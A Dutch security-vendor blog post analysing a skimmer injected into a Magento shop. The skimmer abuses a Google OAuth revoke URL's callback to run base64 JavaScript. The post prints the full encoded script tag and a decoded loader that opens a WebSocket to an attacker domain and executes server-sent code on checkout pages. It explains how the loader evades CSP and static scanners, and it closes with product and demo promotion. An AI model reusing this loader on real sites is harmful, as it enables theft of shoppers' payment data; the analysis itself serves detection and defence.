Skip to main content
Blog
Blog

Bewapende Google OAuth activeert kwaadaardige WebSocket

Een aanvaller gebruikt 'Google.com' om eigen code te leveren en uit te voeren via een bewapende Google OAuth-aanval.

Jun 10, 2025 4 min read
weaponized-google-oauth-image-cover

Kort samengevat: valse Google OAuth-scriptinjectie ontdekken

  • Een vertrouwd domein misbruikt: Als een script src met accounts.google.com begint, kijkt niemand twee keer. Precies daarom richtten aanvallers een callback daarnaartoe en propten base64-JavaScript in de URL-parameter om binnen je checkoutpagina te draaien.
  • Hoe cside het ving: Op de Magento-site parts[.]expert ving cside een geweaponiseerde OAuth revoke-URL die eval(atob(...)) uitvoerde en een WebSocket opende naar livechatinc[.]network/chatpipe/029/, een domein dat VirusTotal als kwaadaardig markeert. Het script vuurde alleen op checkout-URLs, dus een statische crawler had het gemist.
  • Vertrouw op runtimegedrag: Vertrouw een script niet meer op zijn parent-domein. Vertrouw op het runtimegedrag. Als een Google-URL tijdens checkout een WebSocket opent naar een chatdomein, ziet je platform het live of betalen je klanten voor de vertraging.

Weinig tijd? Bekijk cside's in-browser blokkering van Magecart en skimmers. Dit dekt alles hieronder in één deployment.

We analyseerden een bijzonder slimme client-side aanval op een Magento-gebaseerde eCommerce-website parts[.]expert. Hoewel het geen domein met veel verkeer is, verdient de hier gebruikte injectietechniek aandacht, want ze verbergt zich in het volle zicht.

De aanvaller gebruikt 'Google.com' om eigen code te leveren en uit te voeren, en misbruikt OAuth-beveiligingsmaatregelen. Dit kan mogelijk Google-accountgegevens en toegangstokens in gevaar brengen.

Wat We Vonden

Ons systeem markeerde een script afkomstig van een onverwachte URL:

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
cside markeert een script dat vanaf een onverwachte Google OAuth-URL is geladen

Op het eerste gezicht lijkt het een legitieme OAuth-uitlog-URL van de autorisatieserver:

accounts.google.com/o/oauth2/revoke.

Maar bij nadere inspectie blijkt de callback-parameter bewapend te zijn om een verborgen JavaScript-payload uit te voeren via eval(atob(...)).

Bewapende Google OAuth-revoke-URL die een verborgen JavaScript-callback-payload verbergt

Stap-voor-Stap Analyse

De base64-gecodeerde payload in de callback decodeert naar een ander verborgen script, dat dynamisch een kwaadaardige WebSocket-verbinding opzet naar een door de aanvaller beheerd domein, wat ernstige WebSocket-beveiligingsproblemen oplevert. Gedecodeerd ziet het er als volgt uit:

(function() {
  let setupMaliciousWebSocket = () => {
    // Verbinding maken met de WebSocket-server van de aanvaller
    const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");

    // Alle ontvangen code van de server uitvoeren
    ws.onmessage = (event) => {
      const maliciousCode = atob(event.data); // Base64 decoderen
      new Function(maliciousCode).call(event.target); // Dynamisch uitvoeren
    };
  };

  // Uitvoeren als:
  // 1. De browser geautomatiseerd is (bijv. bots), OF
  // 2. De URL 'checkout' bevat (bijv. betaalpagina)
  if (navigator.webdriver || window.location.href.match('checkout')) {
    setupMaliciousWebSocket();
  }
})();

Wat Het Script Doet

  1. Maakt verbinding met een kwaadaardige WebSocket-server als de pagina-URL checkout bevat. Of, als de browser geautomatiseerd lijkt, opent het een wss://-verbinding naar livechatinc[.]network/chatpipe/029/. Dat domein is al gemarkeerd als kwaadaardig: VirusTotal-link. Dit zijn schoolvoorbeelden van WebSocket-aanvallen in de praktijk.
  2. Ontvangt en voert externe payloads uit: Alle base64-gecodeerde berichten die via de WebSocket worden verzonden, worden gedecodeerd en uitgevoerd met new Function(...). Dit geeft de aanvaller volledige mogelijkheden voor externe uitvoering binnen de browsersessie van de gebruiker, een techniek die vaak wordt ingezet bij OAuth-phishing en andere OAuth-aanvallen, en kan leiden tot een datalek waarbij gevoelige informatie zoals e-mailadressen en betaalgegevens wordt onderschept.
  3. Timing- en contextbewust: Het script wordt specifiek geactiveerd op afrekenpagina's, waarschijnlijk om betaalgegevens te onderscheppen of in real time frauduleuze elementen in te voegen.

Waarom Dit Belangrijk Is

  • Ziet er legitiem uit: Het lijkt te laden vanaf een Google-domein dat lijkt op verkeer van Google OAuth-kwetsbaarheden, waardoor de meeste beveiligingstools het blindelings vertrouwen. Een CSP kan deze aanval niet onderscheppen, omdat het vertrouwde domein Google.com gewoon doorgelaten wordt. Een DNS-filter op het apparaat van een gebruiker is evenmin effectief.
  • Omzeilt statische scanners: De gevaarlijke logica zit twee lagen diep verborgen in obfuscatie en wordt alleen uitgevoerd onder specifieke omstandigheden, waardoor het bijzonder moeilijk te detecteren is voor organisaties zonder een gekwalificeerde beveiligingsbeoordelaar (QSA).
  • Real-time controle: WebSocket-gebaseerde payloads stellen aanvallers in staat om dynamische kwaadaardige logica te pushen op basis van gebruikersacties.

We hebben eerder domeinimitatie en verborgen loaders gezien, maar deze combinatie van OAuth-misleiding en voorwaardelijk getriggerde live-controle gaat een stap verder.

Ons product bij cside kon deze aanval identificeren en onderscheppen. We ontvangen de volledige payload van het opgehaalde script en analyseren deze voordat het naar de browser wordt doorgestuurd.

Je kunt je aanmelden of een demo boeken via deze links.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo

Wil je dit doornemen met een engineer?

Dertig minuten, op je eigen site. Geen slides.

We laten je zien:

Welke scripts van derden er nu op je site draaien
Hoe je ervoor staat op PCI DSS 6.4.3 en 11.6.1
Welk deel van je verkeer uit bots en AI-agents bestaat

Liever gewoon een vraag stellen?

Vrije momenten zoeken…

Alleen echte mensen. Wij merken het.

Lukt het boeken niet? Agenda in een nieuw tabblad openen

Wat wil je oplossen?

Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

Waar we meestal mee helpen:

Zien welke scripts van derden op je site draaien
Bewijs voor PCI DSS 6.4.3 en 11.6.1
Bots, AI-agents en accountovername

Liever meteen een moment inplannen? Kies een tijdstip